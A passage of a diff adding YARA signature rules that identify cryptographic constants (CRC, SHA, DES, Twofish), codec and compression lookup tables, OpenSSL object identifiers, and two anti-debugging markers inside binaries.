+	$a0 = { 0000000076dc4190edb883209b64c2b0adad47d0db7106404015c4f036c985602d86ce305b5a8fa0c03e4d10b6e20c80802b89e0f6f7c8706d930ac01b4f4b505b0d9c602dd1ddf0b6b51f40c0695ed0f6a0dbb0807c9a201b1858906dc41900768b5250005713c09b33d170edef90e0db261580adfa5410369e96a04042d730b61b38c0c0c779505ba3bbe02d7ffa701bb67f106d6a3e80f60efc3080d2bda09b9df6f0ed41b760762575d000f934403630b12040ecf0b0db883200ad547390ed16a4a09bcae53000ae27807672661040bbe3703667a2e0ad036050dbdf21c0c0906a90b64c2b002d28e9b05bf4a8206d3d2d401be16cd08085ae60f659eff01aea30106c367180f752b330818ef2a0b74777c0c19b36505afff4e02c23b570376cfe2041b0bfb0dad47d00ac083c909ac1b9f0ec1df86077793ad001a57b4041e7ac70373bede0ac5f2f50da836ec0ec4aeba09a96aa3001f26880772e29106c6162401abd23d081d9e160f705a0f0c1cc2590b71064002c74a6b05aa8e720acf108d0da2d494041498bf03795ca60015c4f0077800e90ece4cc209a388db08177c6e0f7ab87706ccf45c01a1304502cda81305a06c0a0c1620210b7be4380f7fc94b08120d5201a4417906c9856005a51d3602c8d92f0b7e95040c13511d0da7a5a80aca61b1037c2d9a0411e983077d71d50010b5cc09a6f9e70ecb3dfe035d46020430821b0d86ce300aeb0a290987927f0eea5666075c1a4d0031de5401852ae106e8eef80f5ea2d3083366ca0b5ffe9c0c323a85058476ae02e9b2b706ed9fc401805bdd083617f60f5bd3ef0c374bb90b5a8fa002ecc38b058107920435f3270358373e0aee7b150d83bf0c0eef275a0982e3430034af6807596b71083cf58e0f51319706e77dbc018ab9a502e621f3058be5ea0c3da9c10b506dd80ae4996d0d895d74043f115f0352d546003e4d10075389090ee5c5220988013b0d8c2c480ae1e8510357a47a043a60630756f835003b3c2c098d70070ee0b41e0f5440ab083984b2018fc89906e20c80058e94d602e350cf0b551ce40c38d8fd02f3e503059e211a0c286d310b45a9280829317e0f44f56706f2b94c019f7d55002b89e007464df90ef001d2099dc5cb0af15d9d0d9c9984042ad5af034711b607433cc5002ef8dc0998b4f70ef570ee0d99e8b80af42ca10342608a042fa493059b502602f6943f0b40d8140c2d1c0d0f41845b082c4042019a0c6906f7c8700992568f0eff92960749debd00241aa4034882f2042546eb0d930ac00afeced90b4a3a6c0c27fe750591b25e02fc76470190ee1106fd2a080f4b66230826a23a0c228f490b4f4b5002f9077b0594c36206f85b3401959f2d0823d3060f4e171f0efae3aa099727b300216b98074caf81042037d7034df3ce0afbbfe50d967bfc0 }
+
+condition:
+	$a0
+}
+
+	
+rule zinflate_distanceExtraBits__8_byt_30_
+{
+strings:
+	$a0 = { 000000000101020203030404050506060707080809090a0a0b0b0c0c0d0d }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_Phi_Fract_Qmf__flt32___32_lil_512_
+{
+strings:
+	$a0 = { 4372513f8b33133f5e1a87be3ced763ff9357fbf2aafa03d03b2d2beba5169bf20d7373f572732bf23e5653fb53fe13e62bce0bd3a747e3f3ced78bf4d0c6f3ec28c0cbf79f755bf24b5193f22b84cbfdaae743f748c963eb2f2403d3fb77f3f5e836cbf15efc33e8c4a2cbf77583dbf7f94ef3e773e62bf31727d3f6a48103e79a74f3e59ae7a3fa0465abf77c2053f4aca47bfe70f20bf81d8a53ea63272bfeaf77f3fa2ac80bca8fab43e43796f3ff7a942bf3a42263fa35e5ebfc2acfdbe2f0e303e20307cbf20307c3f2f0e30bec2acfd3ea35e5e3f3a4226bff7a9423f43796fbfa8fab4bea2ac803ceaf77fbfa632723f81d8a5bee70f203f4aca473f77c205bfa0465a3f59ae7abf79a74fbe6a4810be31727dbf773e623f7f94efbe77583d3f8c4a2c3f15efc3be5e836c3f3fb77fbfb2f240bd748c96bedaae74bf22b84c3f24b519bf79f7553fc28c0c3f4d0c6fbe3ced783f3a747ebf62bce03db53fe1be23e565bf5727323f20d737bfba51693f03b2d23e2aafa0bdf9357f3f3ced76bf5e1a873e8b3313bf437251bf8b33133f437251bf3ced763f5e1a873e2aafa03df9357f3fba5169bf03b2d23e572732bf20d737bfb53fe13e23e565bf3a747e3f62bce03d4d0c6f3e3ced783f79f755bfc28c0c3f22b84cbf24b519bf748c963edaae74bf3fb77f3fb2f240bd15efc33e5e836c3f77583dbf8c4a2c3f }
+
+condition:
+	$a0
+}
+
+	
+rule rfc3548_Base_32_Encoding__32_big_ASC_128_
+{
+strings:
+	$a0 = { 0000004100000042000000430000004400000045000000460000004700000048000000490000004a0000004b0000004c0000004d0000004e0000004f000000500000005100000052000000530000005400000055000000560000005700000058000000590000005a000000320000003300000034000000350000003600000037 }
+
+condition:
+	$a0
+}
+
+	
+rule SHA512__64_lil_AND_
+{
+strings:
+	$a0 = { 08c9bcf367e6096a[0-20]3ba7ca8485ae67bb[0-20]2bf894fe72f36e3c[0-20]f1361d5f3af54fa5[0-20]d182e6ad7f520e51[0-20]1f6c3e2b8c68059b[0-20]6bbd41fbabd9831f[0-20]79217e1319cde05b[0-20]22ae28d7982f8a42[0-20]cd65ef2391443771[0-20]2f3b4deccffbc0b5[0-20]bcdb8981a5dbb5e9[0-20]38b548f35bc25639[0-20]19d005b6f111f159[0-20]9b4f19afa4823f92[0-20]18816ddad55e1cab[0-20]420203a398aa07d8[0-20]be6f7045015b8312[0-20]8cb2e44ebe853124[0-20]e2b4ffd5c37d0c55[0-20]6f897bf2745dbe72[0-20]b196163bfeb1de80[0-20]3512c725a706dc9b[0-20]942669cf74f19bc1[0-20]d24af19ec1699be4[0-20]e3254f388647beef[0-20]b5d58c8bc69dc10f[0-20]659cac77cca10c24[0-20]75022b596f2ce92d[0-20]83e4a66eaa84744a[0-20]d4fb41bddca9b05c[0-20]b5531183da88f976[0-20]abdf66ee52513e98[0-20]1032b42d6dc631a8[0-20]3f21fb98c82703b0[0-20]e40eefbec77f59bf[0-20]c28fa83df30be0c6[0-20]25a70a934791a7d5[0-20]6f8203e05163ca06[0-20]706e0e0a67292914[0-20]fc2fd246850ab727[0-20]26c9265c38211b2e[0-20]ed2ac45afc6d2c4d[0-20]dfb3959d130d3853[0-20]de63af8b54730a65[0-20]a8b2773cbb0a6a76[0-20]e6aeed472ec9c281[0-20]3b358214852c7292[0-20]6403f14ca1e8bfa2[0-20]013042bc4b661aa8[0-20]9197f8d0708b4bc2[0-20]30be5406a3516cc7[0-20]1852efd619e892d1[0-20]10a96555240699d6[0-20]2a20715785350ef4[0-20]b8d1bb3270a06a10[0-20]c8d0d2b816c1a419[0-20]53ab4151086c371e[0-20]99eb8edf4c774827[0-20]a8489be1b5bcb034[0-20]635ac9c5b30c1c39[0-20]cb8a41e34aaad84e[0-20]73e363774fca9c5b[0-20]a3b8b2d6f36f2e68[0-20]fcb2ef5dee828f74[0-20]602f17436f63a578[0-20]72abf0a11478c884[0-20]ec39641a0802c78c[0-20]281e6323faffbe90[0-20]e9bd82deeb6c50a4[0-20]1579c6b2f7a3f9be[0-20]2b5372e3f27871c6[0-20]9c6126eace3e27ca[0-20]07c2c021c7b886d1[0-20]1eebe0cdd67ddaea[0-20]78d16eee7f4f7df5[0-20]ba6f1772aa67f006[0-20]a698c8a2c57d630a[0-20]ae0df9be04983f11[0-20]1b471c13350b711b[0-20]847d0423f577db28[0-20]9324c7407babca32[0-20]bcbec9150abe9e3c[0-20]4c0d109cc4671d43[0-20]b6423ecbbed4c54c[0-20]2a7e65fc9c297f59[0-20]ecfad63aab6fcb5f[0-20]1758474a8c19446c }
+
+condition:
+	$a0
+}
+
+	
+rule twofish_poly_to_exp__8_byt_255_
+{
+strings:
+	$a0 = { 000117022e1853036a2f9319345445045c6bb630a6944b1a8c358155aa460d05245d876c9bb7c1312ba7a395984cca1be68d7336cd82125662abf0474f0ebd06d425d25e2788666dd69c79b808c2df32682cfda88aa45a962999224d60cbe41c7be73b8e9e74f437d8cef9836f13b257e163dcacc4f1af480a50420fbabec707ded5782665d3d15fe32821895967fc6eb1d7f89df37a3ab9c60941c3aee0db334469922d52fe16a90c8b80a54a5bb597c92aa29ac023864ebc61efcc11e5721d3d7cebe8e93cea8f7d9fec751ef53e38f6d93fcf76fa1f84a070ed1490b37e58fbe22064d0dd77addac540f239b0f749b40b7f511543911071bbeebf85c8a1 }
+
+condition:
+	$a0
+}
+
+	
+rule Rar29_InitBinEsc__16_big_16_
+{
+strings:
+	$a0 = { 3cdd1f3f59bf48f364a15abc66326051 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_8svx_fibonacci__16_big_32_
+{
+strings:
+	$a0 = { de00eb00f300f800fb00fd00fe00ff000000010002000300050008000d001500 }
+
+condition:
+	$a0
+}
+
+	
+rule id3tag_genre_alpha_map__32_big_592_
+{
+strings:
+	$a0 = { 0000007b000000220000004a000000490000006300000014000000280000001a000000910000005a00000074000000290000008700000055000000600000008a00000059000000000000006b000000840000004100000058000000680000006600000061000000880000003d0000008d00000020000000010000007000000080000000390000008c000000020000008b0000003a000000030000007d000000320000001600000004000000370000007f0000007a00000078000000620000003400000030000000360000007c000000190000005400000050000000730000005100000077000000050000001e000000240000003b0000007e00000026000000310000005b00000006000000810000004f000000890000000700000023000000640000008300000013000000210000002e0000002f000000080000001d000000920000003f00000056000000470000002d0000008e000000090000004d0000005200000040000000850000000a00000042000000270000000b000000670000000c0000004b000000860000000d000000350000003e0000006d00000075000000170000006c0000005c000000430000005d0000002b000000790000000f000000440000000e000000100000004c0000005700000076000000110000004e0000008f000000720000006e00000045000000150000006f0000005f000000690000002a0000002500000018000000380000002c00000065000000530000005e0000006a0000009300000071000000120000003300000082000000900000003c000000460000001f000000480000001b0000001c }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_64_ISO_poly_0x000000000000001B__64_big_refl_False_
+{
+strings:
+	$a0 = { 0000000000000000000000000000001b0000000000000036000000000000002d000000000000006c0000000000000077000000000000005a000000000000004100000000000000d800000000000000c300000000000000ee00000000000000f500000000000000b400000000000000af0000000000000082000000000000009900000000000001b000000000000001ab0000000000000186000000000000019d00000000000001dc00000000000001c700000000000001ea00000000000001f100000000000001680000000000000173000000000000015e00000000000001450000000000000104000000000000011f000000000000013200000000000001290000000000000360000000000000037b0000000000000356000000000000034d000000000000030c0000000000000317000000000000033a000000000000032100000000000003b800000000000003a3000000000000038e000000000000039500000000000003d400000000000003cf00000000000003e200000000000003f900000000000002d000000000000002cb00000000000002e600000000000002fd00000000000002bc00000000000002a7000000000000028a000000000000029100000000000002080000000000000213000000000000023e00000000000002250000000000000264000000000000027f0000000000000252000000000000024900000000000006c000000000000006db00000000000006f600000000000006ed00000000000006ac00000000000006b7000000000000069a000000000000068100000000000006180000000000000603000000000000062e00000000000006350000000000000674000000000000066f000000000000064200000000000006590000000000000770000000000000076b0000000000000746000000000000075d000000000000071c0000000000000707000000000000072a000000000000073100000000000007a800000000000007b3000000000000079e000000000000078500000000000007c400000000000007df00000000000007f200000000000007e900000000000005a000000000000005bb0000000000000596000000000000058d00000000000005cc00000000000005d700000000000005fa00000000000005e100000000000005780000000000000563000000000000054e00000000000005550000000000000514000000000000050f000000000000052200000000000005390000000000000410000000000000040b0000000000000426000000000000043d000000000000047c0000000000000467000000000000044a000000000000045100000000000004c800000000000004d300000000000004fe00000000000004e500000000000004a400000000000004bf000000000000049200000000000004890000000000000d800000000000000d9b0000000000000db60000000000000dad0000000000000dec0000000000000df70000000000000dda0000000000000dc10000000000000d580000000000000d430000000000000d6e0000000000000d750000000000000d340000000000000d2f0000000000000d020000000000000d190000000000000c300000000000000c2b0000000000000c060000000000000c1d0000000000000c5c0000000000000c470000000000000c6a0000000000000c710000000000000ce80000000000000cf30000000000000cde0000000000000cc50000000000000c840000000000000c9f0000000000000cb20000000000000ca90000000000000ee00000000000000efb0000000000000ed60000000000000ecd0000000000000e8c0000000000000e970000000000000eba0000000000000ea10000000000000e380000000000000e230000000000000e0e0000000000000e150000000000000e540000000000000e4f0000000000000e620000000000000e790000000000000f500000000000000f4b0000000000000f660000000000000f7d0000000000000f3c0000000000000f270000000000000f0a0000000000000f110000000000000f880000000000000f930000000000000fbe0000000000000fa50000000000000fe40000000000000fff0000000000000fd20000000000000fc90000000000000b400000000000000b5b0000000000000b760000000000000b6d0000000000000b2c0000000000000b370000000000000b1a0000000000000b010000000000000b980000000000000b830000000000000bae0000000000000bb50000000000000bf40000000000000bef0000000000000bc20000000000000bd90000000000000af00000000000000aeb0000000000000ac60000000000000add0000000000000a9c0000000000000a870000000000000aaa0000000000000ab10000000000000a280000000000000a330000000000000a1e0000000000000a050000000000000a440000000000000a5f0000000000000a720000000000000a690000000000000820000000000000083b0000000000000816000000000000080d000000000000084c0000000000000857000000000000087a000000000000086100000000000008f800000000000008e300000000000008ce00000000000008d50000000000000894000000000000088f00000000000008a200000000000008b90000000000000990000000000000098b00000000000009a600000000000009bd00000000000009fc00000000000009e700000000000009ca00000000000009d100000000000009480000000000000953000000000000097e00000000000009650000000000000924000000000000093f00000000000009120000000000000909 }
+
+condition:
+	$a0
+}
+
+	
+rule FLAC_log2_lookup__32_big_512_
+{
+strings:
+	$a0 = { 000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000070000000300000001000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000006a00000031000000180000000c000000060000000300000001000000010000000000000000000000000000000000000000000000000000000000001000000006a4000003150000017d000000bc0000005d0000002e000000170000000c000000060000000300000001000000010000000000000000000000000001000000006a4000003151000017d600000bba000005d1000002e600000172000000b90000005c0000002e000000170000000c000000060000000300000000001000000006a3fe0003151300017d600000bb9d00005d1000002e590000172100000b8e000005c6000002e300000171000000b90000005c0000002e0000000001000000006a3fe6003151300017d605000bb9ca0005d0fc0002e58f0001720e0000b8d800005c6100002e2d0000171600000b8b000005c5000002e3000000001000000006a3fe5c03151301017d604900bb9ca6005d0fba002e58f7001720da000b8d870005c60b0002e2d7000171600000b8ad00005c5600002e2b }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__IsDebuggerPresent__8_byt_STR_17_
+{
+strings:
+	$a0 = { 4973446562756767657250726573656e74 }
+
+condition:
+	$a0
+}
+
+	
+rule compression_algorithm_seen_in_the_game_DreamKiller__32_big_AND_
+{
+strings:
+	$a0 = { ffffff1f[0-20]ffffff3f[0-20]ffffff0f }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_h261_tcoeff_vlc__16_big_260_
+{
+strings:
+	$a0 = { 00020002000300020004000400050005000600070026000800210008000a000a001d000c0018000c0013000c0010000c001a000d0019000d0018000d0017000d000300030006000600250008000c000a001b000c0016000d0015000d0005000400040007000b000a0014000c0014000d0007000500240008001c000c0013000d00060005000f000a0012000c000700060009000a0012000d00050006001e000c000400060015000c000700070011000c000500070011000d002700080010000d002300080022000800200008000e000a000d000a0008000a001f000c001a000c0019000c0017000c0016000c001f000d001e000d001d000d001c000d001b000d00010006 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0xa00ae278__32_lil_refl_False_
+{
+strings:
+	$a0 = { 0000000078e20aa088261fe0f0c4154068af3460104d3ec0e0892b80986b2120d05e69c0a8bc636058787620209a7c80b8f15da0c013570030d74240483548e0d85fd820a0bdd2805079c7c0289bcd60b0f0ec40c812e6e038d6f3a04034f9000801b1e070e3bb408027ae00f8c5a4a060ae8580184c8f20e8889a60906a90c0b0bfb041c85dbae13899afa1407ba501d8108421a0f28e8150369bc128d4916160e1d9811803d321e8c7c6619025ccc1084eede170ace7418068f201f88af8a168e06861100262c1e0c6778198247d21004f5c0178ad56a1886943e1f08b4941b8be01a1c05c0b0130981e41487a14e1d01135c1a8f33f6158372a2120d52081607f6183189d6b23e8597e6390bb74c308d055e370325f4380f64a03f81440a3b0210843c8c302e3380717a340e51d03d88e3c23a06c368350a823c3284a2963b820b9a3c0c2b3033006a64348e4ace3d08f8dc3a86d876358a99223204b9883687ed063109cdac3e058cf8398bac52300d1e4037833eea388f7fbe3f015f143d0c0d1c2a822db6258e6ce222004c482b86fe5a2c08def023049fa4248abf0e2009eb802787cb2a288b8a7e2f05aad4268318c6210d386c2e017938298f59922089f09e2707d034280b91602f85b1ca260303d8218d23722e816226290f428c2d8c16022a0236a8250e77fc228057562b06e5442c88c5ee238484ba240aa4102b81cc8a6c0fec206303ad74648d8dde6d0b3fcc6a851f6665895e3262077e9866842a16610a0abc6e064be869886b42600ed9506780f9fa688cb8ae6f02980466043108618a11a26e8650f66908705c608ec24e6700e2e4680ca3b06f82831a6b01d7946c8ff73e6383b66a640d96c06d8b24d26a0504786509452c62876586608a378e77041724780856707f8676da7600c4c8718ee4627e82a536790c859c7d8fd1127a01f1b8750db0ec728390467b0522547c8b02fe738743aa740963007d0fca0c7a81eaa6758dabf272038b587b85394a7c0b19e0730758b47489781e700a2c9077840c3a78884d6e7f066dc47680dfd6710eff7c7e02be28798c9e827d863a925a081a3855045b6c528a7bc65b0cc9d45c82e97e538ea82a540088805083dc0e570dfca45801bdf05f8f9d5a56092f4851870fe25e8b4eb659056e1c5003c710578de7ba5881a6ee5f0f864456893456510714fc5e0b55a8598575025d06218c5a88012655844072520a60d85b8cd2ca5c02f260530eb3345480939e568dc1964103e13c4e0fa068498180c2400732d04789127a4885532e4f0b73844b88270a4c0607a0430a46f44484665e4d02d44c4a8cf4e64580b5b2420e95184b083c144c861cbe438a5dea44047d404d82cf524a0ceff84500aeac428e8e06460dda884183fa224e8fbb7649019bdc408729ce47090964480548304f8b689a4 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_cplscale6__flt32___32_big_252_
+{
+strings:
+	$a0 = { 3f7f7d513f7e73f33f7d65023f7c50303f7b35273f7a138b3f78eaf33f77baef3f7683013f75429e3f73f9293f72a5f33f7148373f6fdf133f6e69873f6ce66b3f6b54673f69b1e93f67fd123f6633a63f6452ed3f62578a3f603d3e3f5dfe923f5b94403f58f4473f5610333f52d1c53f4f136e3f4a8bb33f447c323f3504f33f241a353f1c8f873f1684873f113a603f0c67173f07e4933f039bfd3efefc723ef701123eef35b03ee78d883edffe0f3ed87e383ed105eb3ec98da43ec20e223eba80243eb2dc253eab1a0f3ea330ea3e9b166c3e92be603e8a19d43e8115cc3e6f32623e5b027b3e4535a73e2d290f3e11b9033de0d0483d8144f8 }
+
+condition:
+	$a0
+}
+
+	
+rule G726_40kbit_s_5bits_per_sample_table__iquant_tbl___16_big_64_
+{
+strings:
+	$a0 = { 0000FFBE001C006800A900E00112013E0166018B01AD01CB01E80202021B02360236021B020201E801CB01AD018B0166013E011200E000A90068001CFFBE0000 }
+
+condition:
+	$a0
+}
+
+	
+rule SHA224__32_lil_AND_
+{
+strings:
+	$a0 = { d89e05c1[0-20]07d57c36[0-20]17dd7030[0-20]39590ef7[0-20]310bc0ff[0-20]11155868[0-20]a78ff964[0-20]a44ffabe[0-20]982f8a42[0-20]91443771[0-20]cffbc0b5[0-20]a5dbb5e9[0-20]5bc25639[0-20]f111f159[0-20]a4823f92[0-20]d55e1cab[0-20]98aa07d8[0-20]015b8312[0-20]be853124[0-20]c37d0c55[0-20]745dbe72[0-20]feb1de80[0-20]a706dc9b[0-20]74f19bc1[0-20]c1699be4[0-20]8647beef[0-20]c69dc10f[0-20]cca10c24[0-20]6f2ce92d[0-20]aa84744a[0-20]dca9b05c[0-20]da88f976[0-20]52513e98[0-20]6dc631a8[0-20]c82703b0[0-20]c77f59bf[0-20]f30be0c6[0-20]4791a7d5[0-20]5163ca06[0-20]67292914[0-20]850ab727[0-20]38211b2e[0-20]fc6d2c4d[0-20]130d3853[0-20]54730a65[0-20]bb0a6a76[0-20]2ec9c281[0-20]852c7292[0-20]a1e8bfa2[0-20]4b661aa8[0-20]708b4bc2[0-20]a3516cc7[0-20]19e892d1[0-20]240699d6[0-20]85350ef4[0-20]70a06a10[0-20]16c1a419[0-20]086c371e[0-20]4c774827[0-20]b5bcb034[0-20]b30c1c39[0-20]4aaad84e[0-20]4fca9c5b[0-20]f36f2e68[0-20]ee828f74[0-20]6f63a578[0-20]1478c884[0-20]0802c78c[0-20]faffbe90[0-20]eb6c50a4[0-20]f7a3f9be[0-20]f27871c6 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_Video_XL_delta_table_xl_table__16_big_64_
+{
+strings:
+	$a0 = { 0000000100020003000400050006000700080009000c000f001400190022002e00400052005e0067006c00710074007700780079007a007b007c007d007e007f }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_AAC_Fraunhofer_escAssignment__16_big_306_
+{
+strings:
+	$a0 = { 000300030003000300030003000900000000000300030003000100010001000100010001000100000000000100010001000100010001000400040004000400040004000100010001000100010000000300030003000100010001000100010001000100010001000100010001000100010001000100010000000100010001000100010001000100010001000100010001000100010001000100010001000100010000000900000000000900000000000300030003000100010001000300030003000100010000000100010001000100010001000100010001000100010001000400040004000100010001000200020002000200020002000100010000000100010001000100010001000100010001000100010001000400040004000100010001000100010000000100010000000400040004 }
+
+condition:
+	$a0
+}
+
+	
+rule Ventrilo_encryption_decryption_algorithm__8_byt_11_
+{
+strings:
+	$a0 = { aa5522cc697c389188f5e1 }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_4_ALS_decoder_mcc_weightings__16_big_64_
+{
+strings:
+	$a0 = { 00CC00C000B300A60099008C0080007300660059004C0040003300260019000C0000FFF4FFE7FFDAFFCDFFC0FFB4FFA7FF9AFF8DFF80FF74FF67FF5AFF4DFF40 }
+
+condition:
+	$a0
+}
+
+	
+rule DES_fp__8_byt_64_
+{
+strings:
+	$a0 = { 280830103818402027072f0f37173f1f26062e0e36163e1e25052d0d35153d1d24042c0c34143c1c23032b0b33133b1b22022a0a32123a1a2101290931113919 }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__Rose_s_UAC__8_byt_24_
+{
+strings:
+	$a0 = { 1e6631c08ed866f71505000000eb019a66f715050000001f }
+
+condition:
+	$a0
+}
+
+	
+rule sfb_16_1024__16_big_86_
+{
+strings:
+	$a0 = { 0008001000180020002800300038004000480050005800640070007c0088009400a000ac00b800c400d400e400f401040118012c014001580170018c01a801c801ec0214023c0268029802cc03040340038003c00400 }
+
+condition:
+	$a0
+}
+
+	
+rule liba52_dither_lut__16_big_512_
+{
+strings:
+	$a0 = { 0000a011e03340226077c06680442055c0ee60ff20dd80cca099008840aae0bb21cd81dcc1fe61ef41bae1aba1890198e12341320110a101815421456167c176439ae38ba3a903b823ed83fcc3de63cf837423656347c356e30343120330a3216257c246826422750220a231e2134202a2b902a8428ae29bc2ce62df22fd82ec873427256707c716e74347520770a76147dae7cba7e907f827ad87bcc79e678fa6f906e846cae6dbc68e669f26bd86ac6617c606862426350660a671e6534642c4ae64bf249d848ca4d904c844eae4fb0440a451e47344626437c42684042415e56345720550a541851425056527c536258d859cc5be65af45fae5eba5c905d8ae790e684e4aee5bce0e6e1f2e3d8e2c6e97ce868ea42eb50ee0aef1eed34ec28fb42fa56f87cf96efc34fd20ff0afe14f5aef4baf690f782f2d8f3ccf1e6f0fede34df20dd0adc18d942d856da7cdb62d0d8d1ccd3e6d2f4d7aed6bad490d58cc2e6c3f2c1d8c0cac590c484c6aec7b0cc0acd1ecf34ce26cb7cca68c842c95294d895cc97e696f493ae92ba9090918e9a349b20990a98189d429c569e7c9f60880a891e8b348a268f7c8e688c428d5c86e687f285d884ca8190808482ae83b6ad7cac68ae42af50aa0aab1ea934a82aa390a284a0aea1bca4e6a5f2a7d8a6c4b1aeb0bab290b382b6d8b7ccb5e6b4f8bf42be56bc7cbd6eb834b920bb0aba1 }
+
+condition:
+	$a0
+}
+
+	
+rule OpenSSL_obj_dat_h_lvalues__8_byt_5106_
+{
+strings:
+	$a0 = { 002a864886f70d2a864886f70d012a864886f70d02022a864886f70d02052a864886f70d03042a864886f70d0101012a864886f70d0101022a864886f70d0101042a864886f70d0105012a864886f70d01050355550455040355040655040755040855040a55040b550801012a864886f70d01072a864886f70d0107012a864886f70d0107022a864886f70d0107032a864886f70d0107042a864886f70d0107052a864886f70d0107062a864886f70d01032a864886f70d0103012b0e0302062b0e0302092b0e0302072b0e0302112b06010401813c070101022a864886f70d03022b0e0302122b0e03020f2a864886f70d03072b0e0302082a864886f70d01092a864886f70d0109012a864886f70d0109022a864886f70d0109032a864886f70d0109042a864886f70d0109052a864886f70d0109062a864886f70d0109072a864886f70d0109082a864886f70d0109096086480186f8426086480186f842016086480186f842022b0e03021a2a864886f70d0101052b0e03020d2b0e03020c2a864886f70d01050b2a864886f70d01050c2b0e03021b6086480186f84201016086480186f84201026086480186f84201036086480186f84201046086480186f84201076086480186f84201086086480186f842010c6086480186f842010d6086480186f8420205551d551d0e551d0f551d10551d11551d12551d13551d14551d20551d232b0601040197550102550803655508036455042a55040455042b551d1f2b0e03020355040555040c55040d2a864886f67d07420a2a864886f67d07420c2a8648ce3804032b0e03021d2a8648ce3804012b240302012b24030301022a864886f70d0308290101851a01290101851a02551d252b06010505072b0601050507032b060105050703012b060105050703022b060105050703032b060105050703042b060105050703082b0601040182370201152b0601040182370201162b0601040182370a03012b0601040182370a03032b0601040182370a03046086480186f8420401551d1b551d15551d182b650104012a864886f70d010c01012a864886f70d010c01022a864886f70d010c01032a864886f70d010c01042a864886f70d010c01052a864886f70d010c01062a864886f70d010c0a01012a864886f70d010c0a01022a864886f70d010c0a01032a864886f70d010c0a01042a864886f70d010c0a01052a864886f70d010c0a01062a864886f70d0109142a864886f70d0109152a864886f70d010916012a864886f70d010916022a864886f70d010917012a864886f70d01050d2a864886f70d01050e2a864886f70d02072b060105050702012b060105050702022a864886f70d01090f2a864886f70d0105042a864886f70d0105062a864886f70d01050a2b06010401823702010e2a864886f70d01090e55042955042e2b0601050507012b0601050507302b060105050701012b060105050730012b060105050730022b06010505070309282a2a86482a8648ce382a8648ce38042a864886f70d01012a864886f70d01052a864886f70d0109102a864886f70d010910002a864886f70d010910012a864886f70d010910022a864886f70d010910032a864886f70d010910042a864886f70d010910052a864886f70d010910062a864886f70d01091000012a864886f70d01091000022a864886f70d01091000032a864886f70d01091000042a864886f70d01091000052a864886f70d01091000062a864886f70d01091000072a864886f70d01091000082a864886f70d01091001012a864886f70d01091001022a864886f70d01091001032a864886f70d01091001042a864886f70d01091001052a864886f70d01091001062a864886f70d01091001072a864886f70d01091001082a864886f70d01091002012a864886f70d01091002022a864886f70d01091002032a864886f70d01091002042a864886f70d01091002052a864886f70d01091002062a864886f70d01091002072a864886f70d01091002082a864886f70d01091002092a864886f70d010910020a2a864886f70d010910020b2a864886f70d010910020c2a864886f70d010910020d2a864886f70d010910020e2a864886f70d010910020f2a864886f70d01091002102a864886f70d01091002112a864886f70d01091002122a864886f70d01091002132a864886f70d01091002142a864886f70d01091002152a864886f70d01091002162a864886f70d01091002172a864886f70d01091002182a864886f70d01091002192a864886f70d010910021a2a864886f70d010910021b2a864886f70d010910021c2a864886f70d010910021d2a864886f70d01091003012a864886f70d01091003022a864886f70d01091003032a864886f70d01091003042a864886f70d01091003052a864886f70d01091003062a864886f70d01091003072a864886f70d01091004012a864886f70d01091005012a864886f70d01091005022a864886f70d01091006012a864886f70d01091006022a864886f70d01091006032a864886f70d01091006042a864886f70d01091006052a864886f70d01091006062a864886f70d02042b0601050507002b0601050507022b0601050507042b0601050507052b0601050507062b0601050507072b0601050507082b0601050507092b06010505070a2b06010505070b2b06010505070c2b060105050700012b060105050700022b060105050700032b060105050700042b060105050700052b060105050700062b060105050700072b060105050700082b060105050700092b0601050507000a2b0601050507000b2b0601050507000c2b0601050507000d2b0601050507000e2b0601050507000f2b060105050700102b060105050701022b060105050701032b060105050701042b060105050701052b060105050701062b060105050701072b060105050701082b060105050701092b060105050702032b060105050703052b060105050703062b060105050703072b0601050507030a2b060105050704012b060105050704022b060105050704032b060105050704042b060105050704052b060105050704062b060105050704072b060105050704082b060105050704092b0601050507040a2b0601050507040b2b0601050507040c2b0601050507040d2b0601050507040e2b0601050507040f2b060105050705012b060105050705022b06010505070501012b06010505070501022b06010505070501032b06010505070501042b06010505070501052b06010505070501062b06010505070502012b06010505070502022b060105050706012b060105050706022b060105050706032b060105050706042b060105050707012b060105050707022b060105050707032b060105050707042b060105050707052b060105050707062b060105050707072b060105050707082b060105050707092b0601050507070a2b0601050507070b2b0601050507070f2b060105050707102b060105050707112b060105050707122b060105050707132b060105050707152b060105050707162b060105050707172b060105050707182b060105050708012b060105050709012b060105050709022b060105050709032b060105050709042b060105050709052b06010505070a012b06010505070a022b06010505070a032b06010505070a042b06010505070a052b06010505070b012b06010505070c012b06010505070c022b06010505070c032b060105050730032b060105050730042b06010505073001012b06010505073001022b06010505073001032b06010505073001042b06010505073001052b06010505073001062b06010505073001072b06010505073001082b06010505073001092b060105050730010a2b060105050730010b2b0e03022b0e03020b55082b2b062b06012b0601012b0601022b0601032b0601042b0601052b0601062b0601072b060104012b060104018b3a82580992268993f22c6401190992268993f22c64040d00550105550105372a864886f70d0101032b0601050507010a2b0601050507010b2b06010505070a06550448551d24551d37551d38002a8648ce3d2a8648ce3d01012a8648ce3d01022a8648ce3d02012a8648ce3d0301012a8648ce3d0301022a8648ce3d0301032a8648ce3d0301042a8648ce3d0301052a8648ce3d0301062a8648ce3d0301072a8648ce3d04012b060104018237110160864801650304010160864801650304010260864801650304010360864801650304010460864801650304011560864801650304011660864801650304011760864801650304011860864801650304012960864801650304012a60864801650304012b60864801650304012c551d172a8648ce3802012a8648ce3802022a8648ce380203090992260992268993f22c0992268993f22c640992268993f22c64010992268993f22c64030992268993f22c64040992268993f22c640a0992268993f22c6403040992268993f22c6403050992268993f22c6404030992268993f22c6404040992268993f22c6404050992268993f22c6404060992268993f22c6404070992268993f22c6404090992268993f22c64040e0992268993f22c64040f0992268993f22c6404110992268993f22c6404120992268993